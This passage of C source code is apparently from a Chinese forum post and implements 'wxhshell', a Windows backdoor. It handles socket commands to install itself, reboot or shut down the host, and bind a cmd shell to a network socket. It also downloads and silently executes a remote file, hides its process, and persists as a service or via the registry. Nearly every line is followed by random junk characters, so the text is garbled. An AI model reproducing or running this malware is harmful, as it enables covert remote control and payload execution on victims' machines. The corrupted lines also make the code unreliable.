  // 帮助 !09)WtsEfx  
  case '?': { E^F"$Z" N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DfXkLOGik  
    break; 5`;SI36"  
  } !_QI<=X  
  // 安装 f|[7LIdh-  
  case 'i': { (gt\R}  
    if(Install()) Fmk:[h Mw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X5 vMY  
    else [xS7ae  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s~M4. 06P  
    break; +^.Yt0}  
    } u mYsO.8  
  // 卸载 ]so/AdT9hA  
  case 'r': { TxrW69FV7  
    if(Uninstall()) I _nQTWcm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "1O_h6 C  
    else n,N->t$i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i3-5~@M  
    break; 2)}n"ibbT  
    } MxTJgY  
  // 显示 wxhshell 所在路径 m\:^9A4HCg  
  case 'p': { MZgaQUg  
    char svExeFile[MAX_PATH]; Y teIp'T  
    strcpy(svExeFile,"\n\r"); r,5e/X  
      strcat(svExeFile,ExeFile); Mz@{_*2   
        send(wsh,svExeFile,strlen(svExeFile),0); 9~SPoR/_0  
    break; _O`prX.:B0  
    } {X!vb  
  // 重启 )CGQ}  
  case 'b': { =RoE=) 1&-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r!r08y f  
    if(Boot(REBOOT)) xfk -Ezv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yuv(4a<M%  
    else { tXE/aY*I  
    closesocket(wsh); dOjly,!  
    ExitThread(0); pF;.nt)  
    } I?T !  
    break; UZdnsG7  
    } hf`y_H+\7  
  // 关机 WowKq0sn  
  case 'd': { `M@ESA (e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p=+Y7NE)  
    if(Boot(SHUTDOWN)) xP8/1wd.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0h-NT\m  
    else { gtKih  
    closesocket(wsh); D*l(p5[  
    ExitThread(0); y?s z&*:  
    } ak7%  
    break;  \XDiw~0  
    } \f,<\mJ#  
  // 获取shell }8'_M/u\  
  case 's': { LkbD='\=  
    CmdShell(wsh); ]TvMT  
    closesocket(wsh); j.M]F/j  
    ExitThread(0); V&zeC/xSq  
    break; oodA&0{)d  
  } 6 AO(A *  
  // 退出 :zW? O#aL-  
  case 'x': { Z$z-Hx@%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {_7hX`p  
    CloseIt(wsh); @&jR^`Y.  
    break; qlhc"}5x }  
    } fTxd8an{  
  // 离开 FB k7Cn!  
  case 'q': { '4,?YcZ?S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q Xd`P4a  
    closesocket(wsh); (Mc{nFqS  
    WSACleanup(); !t%1G.  
    exit(1); P| NGAd  
    break; yQJ0",w3o.  
        } V_i&@<J  
  } `E~"T0RX  
  } Y3@+aA  
~/^fdGr  
  // 提示信息 PYQ0&;z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lDS y$  
} LWrYK i  
  } ("`"?G  
d=1\=d/K  
  return; :6n4i$  
} VgPlIIHh5  
%[XP}L$  
// shell模块句柄 &XNt/bK -?  
int CmdShell(SOCKET sock) =CzGI|pb  
{ :k9T`Aa]  
STARTUPINFO si; <?41-p-;  
ZeroMemory(&si,sizeof(si)); +G;<D@gSa0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h-p}Qil,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; le:}M M  
PROCESS_INFORMATION ProcessInfo; R3g)LnN  
char cmdline[]="cmd"; >VhZv75  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rB J`=oz  
  return 0; Xl=RaV^X"  
} $uLTYu  
@ 5d^ C  
// 自身启动模式 6{I7=.V  
int StartFromService(void) &D<6Go/)_*  
{ >p&"X 2 @  
typedef struct VjM/'V5  
{ JCH9~n.  
  DWORD ExitStatus; UV(`.  
  DWORD PebBaseAddress; x@ X2r  
  DWORD AffinityMask; q,K|1+jn  
  DWORD BasePriority; G 1{m"1M  
  ULONG UniqueProcessId; wn"\ @QvG  
  ULONG InheritedFromUniqueProcessId; 4EYD5  
}   PROCESS_BASIC_INFORMATION; fAh|43Y*a  
7a[6@  
PROCNTQSIP NtQueryInformationProcess; p$"~v A .  
!S~)U{SSK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D)MFii1J~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (jKqwVs.:  
?C CQm  
  HANDLE             hProcess; N_G&nw  
  PROCESS_BASIC_INFORMATION pbi; IAA_Ft  
F]RPM(!5O)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); tk0m[HN@eV  
  if(NULL == hInst ) return 0; >QDyG8*  
IFW(nB(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r@JMf)a]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zzlt^#KLx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =lv(  
*BxU5)O  
  if (!NtQueryInformationProcess) return 0; ; &rxwL  
1G A.c:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^5Y<evjm  
  if(!hProcess) return 0; J"#6m&R_q  
rHk(@T.]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~LI}   
e!=7VEB  
  CloseHandle(hProcess); w#2apaz  
&%v*%{|j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sct 3|H#  
if(hProcess==NULL) return 0; -Tvnd,  
|Ja5O  
HMODULE hMod; em7L `,  
char procName[255]; pPxgjX  
unsigned long cbNeeded; ZKW1HL ]m  
ys!O"=OJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Dh m ;K$T  
N9ipwr'P  
  CloseHandle(hProcess); u/k' ry=  
NXLb'mH~  
if(strstr(procName,"services")) return 1; // 以服务启动 E9Kp=3H  
iTevl>p!  
  return 0; // 注册表启动 ipG 0ie+  
} g3s5ra[  
?i_2ueVR  
// 主模块 ,1~B7Z d  
int StartWxhshell(LPSTR lpCmdLine) ((?"2 }1r  
{ TlO=dLR7d  
  SOCKET wsl; LQqba4$  
BOOL val=TRUE; =2*2 $  
  int port=0; _e8Gt6>  
  struct sockaddr_in door; nUs=PD3)  
6x5Q*^w  
  if(wscfg.ws_autoins) Install(); m5/]+xdNX  
f7zB_hVDmE  
port=atoi(lpCmdLine); V(XU^}b#  
Mmgm6{  
if(port<=0) port=wscfg.ws_port; C-_u`|jQ  
r:rPzq1  
  WSADATA data; 0^L:`[W+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |0^IX   
-~sW@u)O  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f*V^HfiQb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p%Q{Rqc)  
  door.sin_family = AF_INET; e`B!)Sr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zp4@T)  
  door.sin_port = htons(port); ;B< rw ^h5  
+ S5uxO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tq^B>{S "  
closesocket(wsl); (^T}6t3+4  
return 1; A?-t`J  
} rD6NUS  
8xj_)=(sV!  
  if(listen(wsl,2) == INVALID_SOCKET) { )4o k@^.  
closesocket(wsl); { zL4dJw  
return 1; F:Vl\YZ  
} , iEGf-!k  
  Wxhshell(wsl); 8~!h8bkC  
  WSACleanup(); dr8Q>(ZY  
%U<lS.i  
return 0; a@_n>$LZL  
bTx4}>=5l  
} A\"4[PXpQ  
XYV`[,^h&  
// 以NT服务方式启动 'mv|6Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _x-2tnIxXv  
{ D41.$t[  
DWORD   status = 0; )+)qFGVz  
  DWORD   specificError = 0xfffffff; ~urk Uz  
;Srzka2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e*<pO@Uy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nbw8YO(=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rIyIZWkI  
  serviceStatus.dwWin32ExitCode     = 0; t[({KbIy  
  serviceStatus.dwServiceSpecificExitCode = 0; / H GPy  
  serviceStatus.dwCheckPoint       = 0; Qm[ )[M  
  serviceStatus.dwWaitHint       = 0; p-oEoA  
AHa]=ka>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D1]?f`  
  if (hServiceStatusHandle==0) return; 8XfOM f~d`  
svC m }`  
status = GetLastError(); EAs^i+/  
  if (status!=NO_ERROR) RR`\q>|  
{ zYis~ +  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; fTy{`}>  
    serviceStatus.dwCheckPoint       = 0; 5:~ zlg  
    serviceStatus.dwWaitHint       = 0; n>o=RQ2  
    serviceStatus.dwWin32ExitCode     = status; _Fkb$NJ"]Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; j;_E0j#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9)F$){G]vs  
    return; XU['lr&,W  
  } wLq#,X>%B  
wG 5H^>6u>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [MAvU?;  
  serviceStatus.dwCheckPoint       = 0; vA?3kfL|#  
  serviceStatus.dwWaitHint       = 0; }y|_v^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1LmbXH]%  
} h?QGJ^#8  
gE23C*!'&:  
// 处理NT服务事件,比如:启动、停止 H'@@%nO (  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "NV~lJS%  
{ %u?A>$Jn  
switch(fdwControl) P?=}}DI  
{ |l~#qeZ%  
case SERVICE_CONTROL_STOP: pSx}:u^am  
  serviceStatus.dwWin32ExitCode = 0; P!R`b9_U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H/0b3I^  
  serviceStatus.dwCheckPoint   = 0; |i(@1 l  
  serviceStatus.dwWaitHint     = 0; 9]S;%:64  
  { Z%{`j!!p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Z[ p@Ux  
  } 2"Ki5  
  return; BS?rKtdm(  
case SERVICE_CONTROL_PAUSE: _:XX+ 3W7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Jk`0yJi$q  
  break; $B )jSxSy  
case SERVICE_CONTROL_CONTINUE: GS GaYq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aqP"Y9l  
  break; s8*Q@0  
case SERVICE_CONTROL_INTERROGATE: >Qf`xUZ  
  break; #%/0a  
}; 'V4B{n7 h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qwuA[QkPi  
} @i>4k  
KpKZiUQm  
// 标准应用程序主函数 1?y QjW,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AHplvksb  
{ _10I0Z0  
|Mnc0Fgvy,  
// 获取操作系统版本 8$ _8Yva"e  
OsIsNt=GetOsVer(); _.GHtu/I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0[-@<w ^j  
`9DW}  
  // 从命令行安装 cw;TIx_q  
  if(strpbrk(lpCmdLine,"iI")) Install(); \`?4PQ  
|zp}u(N  
  // 下载执行文件 @(m?j1!M  
if(wscfg.ws_downexe) { <[z9*Tm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6 Znt   
  WinExec(wscfg.ws_filenam,SW_HIDE); {u$<-W-&  
} l Ztw[c  
_WBWFGj  
if(!OsIsNt) { 0w".o!2\U{  
// 如果时win9x,隐藏进程并且设置为注册表启动 h(FFG%H(  
HideProc(); Z"9D1Uk  
StartWxhshell(lpCmdLine); Oz5Ze/HBN  
} i7O8f^|  
else Mir( }E  
  if(StartFromService()) nhB.>ReAi  
  // 以服务方式启动 TdrRg''@  
  StartServiceCtrlDispatcher(DispatchTable); m>^#:JK  
else $*+`;PG-  
  // 普通方式启动 ?fvK<0S`  
  StartWxhshell(lpCmdLine); 810uxw{\  
Nf9$q| %!  
return 0; %xwtG:IKEV  
}
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只看该作者 1 发表于: 2006-10-10
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